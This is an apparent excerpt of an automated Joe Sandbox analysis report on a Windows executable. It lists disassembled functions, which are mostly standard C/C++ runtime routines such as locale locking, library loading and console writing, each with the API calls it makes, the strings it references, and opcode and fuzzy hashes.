SetLastError.KERNEL32(00000000,003E9FA1,003E86C8,003E784F), ref: 003EA031

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a8856032d4cdfa8c0dfe226d5d1df2c8fb11d23ca1990a5a57dfb73ce98901ed
Instruction ID: 774a6ea6e2b82bf2c7c15eb1e0ddb47013958a2ff031cdc13bde1e8c1130847d
Opcode Fuzzy Hash: a8856032d4cdfa8c0dfe226d5d1df2c8fb11d23ca1990a5a57dfb73ce98901ed
Instruction Fuzzy Hash: 2501243210D7B1EEE66727F77E8AB2B2A45EB11375321033BF110A90E1EF625C019249

Function 003F0CA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,29FB914E,?,?,00000000,00401D08,000000FF,?,003F0C30,?,?,003F0C04,00000000), ref: 003F0CD5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 003F0CE7
FreeLibrary.KERNEL32(00000000,?,?,00000000,00401D08,000000FF,?,003F0C30,?,?,003F0C04,00000000), ref: 003F0D09

Strings

mscoree.dll, xrefs: 003F0CCE
CorExitProcess, xrefs: 003F0CDF

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 55206804258ccecf6754927e1abbcc74a86e781d8f2ea3ff318afd5bc07f29a2
Instruction ID: 1acf4758c9af7b40e71d4a0a4b906d9f9dd926553fa7c840c2d8125325c6ee08
Opcode Fuzzy Hash: 55206804258ccecf6754927e1abbcc74a86e781d8f2ea3ff318afd5bc07f29a2
Instruction Fuzzy Hash: 4C01A731900619EFDB168B84DE09BAFBBB8FB04710F104136F911B26E0DBB8A800CA94

Function 003E417D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003E4189
int.LIBCPMT ref: 003E419C

Part of subcall function 003E16B4: std::_Lockit::_Lockit.LIBCPMT ref: 003E16C5
Part of subcall function 003E16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 003E16DF

std::_Facet_Register.LIBCPMT ref: 003E41CF
std::_Lockit::~_Lockit.LIBCPMT ref: 003E41E5
Concurrency::cancel_current_task.LIBCPMT ref: 003E41F0

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: bbdf7dd1ac61287f41f02746ee51623c20e50f254273f74e730463998b14d431
Instruction ID: fe1c517be3660fb9c4e40df296e1eea66b6dfee23914c336221f1bb490182f29
Opcode Fuzzy Hash: bbdf7dd1ac61287f41f02746ee51623c20e50f254273f74e730463998b14d431
Instruction Fuzzy Hash: 8101F776500178ABCF16EB56DC058AE7768DF88760B250358F8016B2D2DB309E41C784

Function 003E3AF8 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003E3B04
int.LIBCPMT ref: 003E3B17

Part of subcall function 003E16B4: std::_Lockit::_Lockit.LIBCPMT ref: 003E16C5
Part of subcall function 003E16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 003E16DF

std::_Facet_Register.LIBCPMT ref: 003E3B4A
std::_Lockit::~_Lockit.LIBCPMT ref: 003E3B60
Concurrency::cancel_current_task.LIBCPMT ref: 003E3B6B

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0e0e75558ecd1b18bef0a0e97188570c37f1c662f4f415ae718d02c55239cd8b
Instruction ID: bf9e0bcc341cd789b689c97ea00ce49a713d8b38ca76b98eccddb7a8500a4b8a
Opcode Fuzzy Hash: 0e0e75558ecd1b18bef0a0e97188570c37f1c662f4f415ae718d02c55239cd8b
Instruction Fuzzy Hash: B301F772900178ABCB16FB56D805CAE77789F88760B150358F9025B2D2DB70EF01C794

Function 003E404F Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003E405C
int.LIBCPMT ref: 003E406F

Part of subcall function 003E16B4: std::_Lockit::_Lockit.LIBCPMT ref: 003E16C5
Part of subcall function 003E16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 003E16DF

std::_Facet_Register.LIBCPMT ref: 003E40A2
std::_Lockit::~_Lockit.LIBCPMT ref: 003E40B8
Concurrency::cancel_current_task.LIBCPMT ref: 003E40C3

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: ee7ce5956f0a2a876911fd11f6ace5bcd35a13f4d74270c5b9bde8f361c86f82
Instruction ID: b40d946214dada9b7e9906ebd430490e9a5abcb9468c7c82b2d13fdcb58f5794
Opcode Fuzzy Hash: ee7ce5956f0a2a876911fd11f6ace5bcd35a13f4d74270c5b9bde8f361c86f82
Instruction Fuzzy Hash: 0501F772900174ABCB12FB66D8058DEB7689F88724F150365F9016B2D1DF309E01C7C5

Function 003E4DC1 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003E4DC8
std::_Lockit::_Lockit.LIBCPMT ref: 003E4DD3
std::locale::_Setgloballocale.LIBCPMT ref: 003E4DEE
_Yarn.LIBCPMT ref: 003E4E04
std::_Lockit::~_Lockit.LIBCPMT ref: 003E4E41

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: 114b2a16cd450bd553ea77a014336e3bc1622123a0b61f0ea8fd153e800b63cb
Instruction ID: 010d6921af420e401308b6720f68306f4caa35324908a3c3d1c931071f84c96a
Opcode Fuzzy Hash: 114b2a16cd450bd553ea77a014336e3bc1622123a0b61f0ea8fd153e800b63cb
Instruction Fuzzy Hash: A501D475A002B09BC707EB21D94557D3BA1BFC8750F190269E8016B3C2DF74AE12CB8A

Function 004288BE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004288CA

Part of subcall function 00427E7F: __getptd_noexit.LIBCMT ref: 00427E82
Part of subcall function 00427E7F: __amsg_exit.LIBCMT ref: 00427E8F

__amsg_exit.LIBCMT ref: 004288EA
__lock.LIBCMT ref: 004288FA

Strings

ting destructor', xrefs: 004288C0

Memory Dump Source

Source File: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock
String ID: ting destructor'
API String ID: 3445076945-687813824
Opcode ID: 5d7d5386ca12c030d3e9ef79b035ddd590771242ace2c96a8d9315f1b641efb0
Instruction ID: f0843fed73addb912e026ed383e0ae5e404f3cf31c222da710540f550a414785
Opcode Fuzzy Hash: 5d7d5386ca12c030d3e9ef79b035ddd590771242ace2c96a8d9315f1b641efb0
Instruction Fuzzy Hash: A901AC71B02A31ABC720AB26B40535EB760BF14754FD2411FE810672A1CB3C6881CBDE

Function 003EB0F2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,003EB0A3,00000000,?,0045A6F4,?,?,?,003EB246,00000004,InitializeCriticalSectionEx,00403BB8,InitializeCriticalSectionEx), ref: 003EB0FF
GetLastError.KERNEL32(?,003EB0A3,00000000,?,0045A6F4,?,?,?,003EB246,00000004,InitializeCriticalSectionEx,00403BB8,InitializeCriticalSectionEx,00000000,?,003EAFFD), ref: 003EB109
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 003EB131

Strings

api-ms-, xrefs: 003EB116

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f11eb487e18620e4f6ac6ab24866050d28ebbe44a2be2c6310fca054c875ae84
Instruction ID: 3aa8b69b946106e2ca28ee3ee51bdb8fb4a18a3d6c1b5a90147178d66072d7bd
Opcode Fuzzy Hash: f11eb487e18620e4f6ac6ab24866050d28ebbe44a2be2c6310fca054c875ae84
Instruction Fuzzy Hash: B0E01230240314B6EB122F61DD0AB1A7E55AB10B50F154031FB0DB80E1E7B1E91085A8

Function 003F7495 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(29FB914E,00000000,00000000,00000000), ref: 003F74F8

Part of subcall function 003F927A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003F8D21,?,00000000,-00000008), ref: 003F9326

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 003F7753
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 003F779B
GetLastError.KERNEL32 ref: 003F783E

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 58d6e198ccf7b77477f6ca1738a609e125122350ff3b5809314c27cfd234388b
Instruction ID: b7c200d451459e3e74bee6269d4a3776a2ecebb22089c1d0e3949d8d6e906e9e
Opcode Fuzzy Hash: 58d6e198ccf7b77477f6ca1738a609e125122350ff3b5809314c27cfd234388b
Instruction Fuzzy Hash: 36D16BB5E042589FCF16CFA8D8849EDBBB5FF09300F18452AEA55EB351E730A945CB50

Function 003EA0C1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 003EA188
___AdjustPointer.LIBCMT ref: 003EA1AB
___AdjustPointer.LIBCMT ref: 003EA247

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6b4b76cd16705d0438a0afbc9a6ac9cf198d25bcf6520caad63c46a66151d1ec
Instruction ID: d6313cd9c68f8757122bf5282595a9beb7acacc121a3ed37aabef02747a0a985
Opcode Fuzzy Hash: 6b4b76cd16705d0438a0afbc9a6ac9cf198d25bcf6520caad63c46a66151d1ec
Instruction Fuzzy Hash: BB51E176A00AA69FDB2B9F16D841B7A73A4EF04300F154729E9056B6D2D731FC80D792

Function 0040043F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,003FF465,00000000,00000001,00000000,00000000,?,003F7892,00000000,00000000,00000000), ref: 00400456
GetLastError.KERNEL32(?,003FF465,00000000,00000001,00000000,00000000,?,003F7892,00000000,00000000,00000000,00000000,00000000,?,003F7E19,00000000), ref: 00400462

Part of subcall function 00400428: CloseHandle.KERNEL32(FFFFFFFE,00400472,?,003FF465,00000000,00000001,00000000,00000000,?,003F7892,00000000,00000000,00000000,00000000,00000000), ref: 00400438

___initconout.LIBCMT ref: 00400472

Part of subcall function 004003EA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00400419,003FF452,00000000,?,003F7892,00000000,00000000,00000000,00000000), ref: 004003FD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,003FF465,00000000,00000001,00000000,00000000,?,003F7892,00000000,00000000,00000000,00000000), ref: 00400487

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 16f25a5474e1a6857537d00f8048f091d33d05a735b271dc66e16bee01ca984f
Instruction ID: b7ff816398daf86b0191e0695cd98615f5bf15d94e9db0cc331e0e4a512f98d7
Opcode Fuzzy Hash: 16f25a5474e1a6857537d00f8048f091d33d05a735b271dc66e16bee01ca984f
Instruction Fuzzy Hash: B3F01C36500158BBCF222FD5DD08A9E3F66FB4C3A1F004135FF19A51A0C63288209B98

Function 003E387F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 003E3886
_strlen.LIBCMT ref: 003E38A0

Strings

|#@, xrefs: 003E388E, 003E38B0, 003E390D, 003E393B, 003E395D, 003E39D3, 003E3A2E, 003E3A5B, 003E3AC3

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch_strlen
String ID: |#@
API String ID: 3133806014-1793031895
Opcode ID: 10f49048c3f8e019784acb98defaa0408e208b2db5212a2e29a9916631f50155
Instruction ID: b3e563faad7f43d2dcc7aa37b465ee92ae255418e511ec58a1581d42cfa7d495
Opcode Fuzzy Hash: 10f49048c3f8e019784acb98defaa0408e208b2db5212a2e29a9916631f50155
Instruction Fuzzy Hash: FD718F70E006A58FDB15DF9AC4849ADBBF1BF88310F24836AE415AB3E2D7309E41CB55

Function 003E9DB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 003E9DEF
__IsNonwritableInCurrentImage.LIBCMT ref: 003E9EA3

Strings

csm, xrefs: 003E9E8D

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: e9d08e48a49de3eafb61d0bb6a31370e58bc136c9ae40d0c91842bf6df361185
Instruction ID: 5dfd38ed1a2b7f7d210cbf7f49d98e2df530278e8a32f58afd67dcf63a1495bb
Opcode Fuzzy Hash: e9d08e48a49de3eafb61d0bb6a31370e58bc136c9ae40d0c91842bf6df361185
Instruction Fuzzy Hash: B041E770A00268EBCF11DF6ACC80B9EBBB5AF85314F158256F9146B3D2D731AE05CB91

Function 003EA6BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 003EA6E2

Strings

RCC, xrefs: 003EA6FC
MOC, xrefs: 003EA6F4

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f2c1acde6254a146f29b2da928453141e1ce82aea21749842d086260248319aa
Instruction ID: cac01431b0e282e57bd4cc22bb23637ccc9c769b7b5f97c0ffa3f515989cc74b
Opcode Fuzzy Hash: f2c1acde6254a146f29b2da928453141e1ce82aea21749842d086260248319aa
Instruction Fuzzy Hash: 4941BA71900259EFCF16CF95CD81AAEBBB5FF08300F158259F904AB291D331A950DB62

Function 00423FE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00424052
__aulldiv.LIBCMT ref: 00424060

Strings

@, xrefs: 0042402D

Memory Dump Source

Source File: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: d39a868c9069d76a01aa740a2166ac0e92d0fa60f6cb62f939bbeef761882a21
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: 00215EB1E44218ABDB00DFD5DC49FAEB7B9FB45B04F104509F605BB280C7786900CBA9

Function 0040D100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0040D138
__aulldiv.LIBCMT ref: 0040D146

Strings

@, xrefs: 0040D113

Memory Dump Source

Source File: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: 5d6bd18e77ff382d682a4f2440bb218a9b9ad62dd9859121b82cf0bd66e45133
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 6601FBB0E54308BAEB10EBE0DC4AB9EBB78AB01705F24845AF7047A2D0DA785945CB5D

Function 003E15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003E15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003E161E

